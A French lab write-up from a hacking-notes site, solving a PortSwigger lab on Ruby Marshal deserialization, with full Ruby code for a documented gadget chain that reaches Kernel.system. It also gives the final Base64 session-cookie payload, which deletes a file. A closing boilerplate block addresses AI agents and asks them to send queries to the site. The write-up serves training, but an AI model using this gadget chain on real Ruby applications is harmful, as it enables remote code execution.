> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/deserialization/ruby-deserialization-with-documented-gadget.md).

# Désérialisation Ruby avec gadget documenté

Notes sur la désérialisation Ruby avec gadget documenté pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.

### Exploitation de la désérialisation Ruby à l’aide d’une chaîne de gadgets documentée

**Contexte du laboratoire**

Ce laboratoire utilise un mécanisme de session basé sur la sérialisation et repose sur le **Ruby on Rails** framework. / Il existe des gadgets documentés publiquement\*\* qui permettent une \*\* exécution de code à distance (NCE)\*\* via `Marshal`.

Objectif :/ Créez un objet sérialisé malveillant, injectez-le dans le cookie de session et supprimez le fichier :

```bash
/home/carlos/morale.txt
```

Identifiant fourni :

wiener : peter

**Analyse de la session**

Après authentification, le serveur fournit un cookie de session sérialisé en Base64 :

{% code overflow="wrap" %}

```bash
BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiV6YmI1YWVjejlrZXJzajU3bHZsanloaXQyanR6aTNsMgY7B0YK
```

{% endcode %}

Cela indique clairement l’utilisation de `Marshal.dump` côté serveur.

Une chaîne de gadgets documentée basée sur les classes Ruby suivantes est utilisée :

* `Gem::SpecFetcher`
* `Gem::Installer`
* `Gem::Requirement`
* `Gem::RequestSet`
* `Net::WriteAdapter`
* `Gem::Package::TarReader`

Cette chaîne déclenche un appel à `Kernel.system`.

**Construction de la charge utile Ruby**

Le code suivant est utilisé pour créer un objet sérialisé exécutant la commande cible :

```ruby
# Charger automatiquement les classes requises
Gem::SpecFetcher
Gem::Installer

# empêcher l'exécution du payload lors du Marshal.dump
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload
```

```ruby
[cGem::SpecFetchercGem::InstallerU:Gem::Requirement[o:
Gem::Package::TarReader:@ioo:Net::BufferedIO;o:#Gem::Package::TarReader::Entry:
@readi:
@headerI"aaa:ET:@debug_outputo:Net::WriteAdapter:
@socketo:Gem::RequestSet:
@setso;;m
Kernel:@method_id:
system:
@git_setI"rm /home/carlos/morale.txt;
T;:
resolve
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-658f72939e40860c50c28c0289e10a497f1459e4%2F%7B521CCAD3-2CAC-4E01-B1CD-107268C319DA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Encodage en Base64**

Afin d'injecter le payload dans le cookie de session, il est encodé en Base64 :

```java
puts Base64.encode64(payload)
```

Chaîne finale obtenue :

{% code overflow="wrap" %}

```bash
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de57fa4300c36198a97dc70a8d16a8e806842c50%2F%7BC67DD4CD-F48D-4BE1-9FB2-B91DFDF214BA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/deserialization/ruby-deserialization-with-documented-gadget.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.